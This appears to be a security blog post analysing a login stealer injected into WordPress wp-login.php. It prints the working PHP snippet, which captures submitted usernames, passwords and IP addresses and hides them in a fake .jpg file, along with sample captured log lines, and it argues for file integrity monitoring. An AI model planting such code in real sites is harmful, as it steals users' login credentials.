We recently found the following malicious code injected into wp-login.php on multiple compromised websites. \
} // End of login_header() $username_password=$_POST['log']."----xxxxx----".$_POST['pwd']."ip:".$_SERVER['REMOTE_ADDR'].$time = time()."\r\n"; $hellowp=fopen('./wp-content/uploads/2018/07/[redacted].jpg','a+'); $write=fwrite($hellowp,$username_password,$time); /**
Code injection in wp-login.php
This snippet for a malicious login stealer demonstrates why file integrity monitoring can be very useful to detect small changes in legitimate website files — especially when malicious code is intended to be undetectable, like in the case of this login stealer.
The login stealer operates in the following manner: when a WordPress user submits their login information to the wp-login.php file, it stores the username in the request under the log parameter and the password under the pwd parameter.
Malicious code captures these credentials from the visitor’s HTTP POST request along with the IP address and current time, then formats the text a bit. Afterwards, it uses fopen to open (or create if it doesn’t exist and configuration allows) a .jpg file and store the captured information from the incoming POST request using the _fwrite _function.
This is a very simple, rudimentary login stealer: it ends up capturing every attempted login, regardless of whether it is successful or not.
When checking websites that have been infected with this injection, we can observe it writing unsuccessful bruteforce attempts to the fake .jpg file:
oardobrogea----xxxxx----www123ip:188.8.131.521554390893 oardobrogea----xxxxx----web123ip:184.108.40.2061554390893 oardobrogea----xxxxx----123!@#ip:220.127.116.111554390894 oardobrogea----xxxxx----!@#123ip:18.104.22.1681554390895 ...